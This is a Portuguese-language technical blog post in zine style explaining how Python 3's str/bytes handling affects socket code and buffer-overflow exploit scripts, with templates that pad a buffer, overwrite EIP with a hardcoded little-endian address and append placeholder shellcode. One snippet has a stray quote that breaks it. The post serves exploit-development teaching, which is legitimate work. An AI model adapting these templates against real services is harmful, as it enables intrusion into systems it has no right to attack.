BOF + SOCKETS + ERROS DE CODIFICAÇÃO COM O PYTHON3


        ----------------------------------------------------------------
        offensive think :: artigo técnico em formato zine / nfo
        ----------------------------------------------------------------

        titulo : BoF + Sockets + Erros de Codificação com o Python3
        autor  : offensive think
        data   : Wed, Oct 28, 2020
        tags   : bof

        ----------------------------------------------------------------
        --> https://www.offensivethink.com/posts/bof-socket-python3.html <--

Com a vinda do Python 3 a forma com que as strings são "tratadas" mudou. O que antes, no Python 2 era um conjunto de caracteres ASCII , agora são Unicode. E o que isso muda para quem tá escrevendo exploits para explorar Buffer Overflow e até mesmo para quem deseja simplesmente enviar algo por um socket ?
Quando "chamamos" a função send() de um socket, esta espera como parâmetro Bytes. Se você tenta simplesmente enviar uma string como ocorria no Python2, um erro surge, informando: _TypeError: a bytes-like object is required, not 'str' with send function_
Para contornar, você precisará codificar a string que você quer enviar na codificação que deseja, ou simplesmente, informar que trata-se de uma sequência de bytes, colocando um b antes dela:

    import sys,socket
    
    host="127.0.0.1""
    port=12345
    
    # 1a forma - atenção para o b , antes das aspas.
    buffer=b"alo mundo"
    # 2a forma - informando que é uma sequencia de bytes utf-8
    buffer="alo_mundo".encode('utf-8') 
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(buffer)  # <------------- Função afetada, em questão!
    s.close()

E para quem está escrevendo exploits ? Iremos notar que as o envio de UTF-8 não vai nos ajudar a encaixar o endereço certinho no EIP ou mesmo bagunçar o nosso Shell Code ? Porque ? Pois endereços , opcodes, etc., estão todos dentro do escopo apenas da antiga e atual tabela ASCII estendida, 0 - 255 bytes.
Uma forma, usando apenas strings com código hexa diretamente inserido.

    
    buffer="CMD " + "A" * 143
    EIP="\x6F\x14\x74\x72" #<-------- Endereço já em Little Endian
    shellcode="C" * (700-len(buffer)-len(EIP))
    
    buffer=buffer+EIP+shellcode
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,port))
    print(s.recv(4096))
    s.sendall(buffer.encode('latin-1')) #<----- encoding in Latin-1
    print("[+] Sending Exploit %s" % buffer )
    s.close()

Se usarmos a função pack() do módulo struct, que tem a função de convertes o endereço em Little Endian, é necesário que transformemos todas as strings em bytes, pois esta funçao retorna bytes.

    buffer= ("EXPLOIT1 " + "A" * 143).encode('latin-1') #<--- encoding
    EIP=pack("<L",0x7274146F)
    shellcode=("C" * (700-len(buffer)-len(EIP))).encode('latin-1') #<--- encoding
    
    buffer=buffer + EIP + shellcode
    
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,port))
    print(s.recv(4096))
    s.sendall(buffer)
    print("[+] Sending Exploit %s" % buffer )
    s.close()


---[ EOF ]--------------------------------------------------------------

                    offensive think / 2026